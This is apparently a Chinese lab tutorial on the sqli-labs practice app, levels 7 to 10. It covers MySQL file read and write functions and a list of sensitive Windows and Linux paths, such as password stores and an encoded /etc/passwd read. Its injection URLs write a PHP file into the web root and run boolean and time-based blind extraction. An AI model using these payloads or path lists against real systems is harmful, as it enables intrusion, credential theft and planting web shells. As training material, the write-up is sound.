目录
这一章介绍下MySQL数据库访问操作系统的一些可利用的功能。
一、读文件
MySQL提供了允许load data infile命令高速地从一个文本文件中读取行,并装入一个表中,看下此命令的说明:
load data infile '文件名' into table 表名
我们测试下:提示“The MySQL server is running with the --secure-file-priv option so it cannot execute this statement”,这是因为在安装MySQL的时候限制了导入与导出的目录权限只能在规定的目录下才能导入导出,
查看这个值是null,则为禁止
通过在my.ini配置文件中加入【secure_file_priv = 】字段(为空表示没有任何限制),重启MySQL,再次查询,发现值已变成空了。
再次测试是否可以导入数据,发现执行没报错误
load data infile 'D:\\test.txt' into table test.test;
通过查询,可以看到文本里的内容已导入到表中,且是通过换行符分割的,如果文本里面有中文,会提示UTF-8编码错误,但是还是会导入其他ASCII码字符的。
为了便于使用,MySQL还提供了load_file()函数,通过该函数可以不需要创建表,直接传递结果即可:
二、写文件
MySQL提供了into outfile函数,可以将一条select语句的结果写到MySQL进程所有者拥有的完全可读可写的文件中。
select 'hello world' into outfile 'D:\\1.txt';
dumpfile可以写入二进制文件 select 'hello world' into dumpfile 'D:\\1.txt';
三、load_file常用路径
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
四、第七关
这一关可以看到,通过加单引号或双引号都显示统一的错误页面,我们无法得知构造的SQL查询是什么样的,故无法闭合。
查看php源码,发现是(('$id')),故需要'))进行闭合。如果是黑盒测试,只能要么手工猜或者工具猜。
判断SQL注入点
http://127.0.0.1/sql/Less-7/index.php?id=1')) and 1%23 #返回正常页面
http://127.0.0.1/sql/Less-7/index.php?id=1')) and 2%23 #返回错误页面
http://127.0.0.1/sql/Less-7/index.php?id=1')) order by 3%23 #返回正常页面
http://127.0.0.1/sql/Less-7/index.php?id=1')) order by 4%23 #返回错误页面
http://127.0.0.1/sql/Less-7/index.php?id=1')) union select null,sleep(5),null%23 #页面延迟了
但这一关考的不是盲注,通过该网页标题,得知考的是写出文件操作
写入文件,关于写入文件的路径可以通过猜测、网页错误提示、sql全局变量查询等进行判断
http://127.0.0.1/sql/Less-7/index.php?id=1')) union select null,null,'<?php phpinfo(); ?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sql\\Less-7\\2.php"%23
即可看到,文件已写入成功
五、第八关
第八关和第七关类似,不在返回数据库报错语句了,数据正常返回正常页面,数据不正常返回空页面,故只能进行猜测闭合SQL语句了。
http://127.0.0.1/sql/Less-8/index.php?id=1' #加个单引号,页面返回空
http://127.0.0.1/sql/Less-8/index.php?id=1' and 1%23 #返回正常
http://127.0.0.1/sql/Less-8/index.php?id=1' and 0%23 #返回空数据
开始盲注
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(substring(version(),1,1)='5',1,0)%23 #判断当前数据库版本是否为5 返回正常页面
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(substring(version(),1,1)='4',1,0)%23 #判断当前数据库版本是否为5 返回错误页面,说明版本为5
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(substring(user(),1,4)='root',1,0)%23 #判断当前数据库用户名是否为root,返回页面正常
http://127.0.0.1/sql/Less-8/index.php?id=1' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>64,1,0)%23 #用二分搜索法进行盲注,以下步骤省略
六、第九关
这一关,就更不好猜解了,无论加什么都返回统一的页面,故不能根据页面返回的状态进行判断了。
通过查看php源码,发现是通过单引号进行闭合的,但无论正确与否,都返回一样的页面,那么只能根据时间延迟函数进行注入了。
开始盲注,由于是时间延迟函数,那么进行注入花费的时间很长。
http://127.0.0.1/sql/Less-9/index.php?id=1' and if(1,sleep(5),0)%23 #网页延迟了,说明延迟函数sleep被执行
http://127.0.0.1/sql/Less-9/index.php?id=1' and if(substring(version(),1,1)='5',sleep(5),0)%23 #判断数据库版本是否为5
七、第十关
第十关和第九关类似,只是单引号变成用双引号进行闭合,就不再演示了。